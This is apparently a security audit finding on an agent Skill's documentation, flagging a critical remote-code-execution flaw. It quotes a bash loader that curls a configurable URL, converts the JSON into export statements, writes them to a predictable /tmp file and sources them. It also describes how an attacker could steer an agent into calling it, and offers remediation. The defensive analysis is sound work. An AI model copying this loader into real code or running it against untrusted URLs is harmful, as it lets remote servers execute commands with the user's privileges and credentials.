T03 · Remote Payload Retrieval and Execution
Error
- Location
- docs/api-integration.md:793
- Finding
- Remote Configuration Is Converted into Shell Code and Executed<![CDATA[ ## Vulnerability Details **File Location**: `docs/api-integration.md`, lines 793-801 **Vulnerability Type**: T03: Remote Payload Retrieval and Execution **Risk Level**: Critical ### Vulnerable Code ```bash # 从远程配置服务加载配置 load_config_from_remote() { local config_url="${1:-"https://config.example.com/telegram-voice"}" curl -s "$config_url" \ | jq -r 'to_entries|map("export \(.key)=\(.value|tostring)")|.[]' \ > /tmp/remote_config.sh source /tmp/remote_config.sh } ``` ### Technical Analysis The function accepts a caller-controlled configuration URL, downloads JSON from that location, converts its keys and values into shell statements, and executes the generated file with `source`. The generated assignments are not safely shell-escaped. A configuration value containing shell syntax, command substitution, or statement separators can therefore alter the generated script and execute commands. Because `source` runs in the current shell, the payload inherits the invoking process's environment, working directory, filesystem access, and credentials. The implementation provides no trusted-origin allowlist, response signature, checksum, schema enforcement, or safe parsing boundary. It also writes to the predictable shared path `/tmp/remote_config.sh`, creating an additional opportunity for local race-condition or symlink attacks. This remote execution mechanism is unnecessary for the Skill's declared purpose of generating, converting, and sending Telegram voice messages. ### Attack Path 1. An attacker persuades the user or Agent to invoke `load_config_from_remote` with an attacker-controlled URL, or compromises the configured remote service. 2. The remote server returns JSON containing a value that becomes executable shell syntax after the `jq` transformation. 3. The function writes the generated statements to `/tmp/remote_config.sh`. 4. The function executes the file using `source`. 5. The attacker's commands run with the privileges an ...[truncated 742 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions - Remove the generation and sourcing of shell scripts from remote configuration. - Parse configuration strictly as data and assign only explicitly allowlisted keys. - Enforce a schema defining permitted keys, value types, lengths, and formats. - Do not use `eval`, `source`, command substitution, or generated `export` statements for configuration data. - If remote configuration is essential, restrict requests to a pinned HTTPS origin and authenticate responses with a cryptographic signature. - Reject redirects to untrusted hosts and apply connection, response-size, and total-time limits. - Use `mktemp` inside a private directory with mode `0700` if temporary storage is unavoidable. - Never use a predictable shared `/tmp` filename. - Run the configuration loader without sensitive credentials in its environment. A safer pattern is to extract each permitted value directly: ```bash telegram_chat_id=$(jq -er '.telegram_chat_id | strings' "$config_file") audio_bitrate=$(jq -er '.audio_bitrate | strings' "$config_file") case "$audio_bitrate" in 32k|64k|96k|128k) ;; *) echo "Invalid bitrate" >&2; return 1 ;; esac ``` ]]>
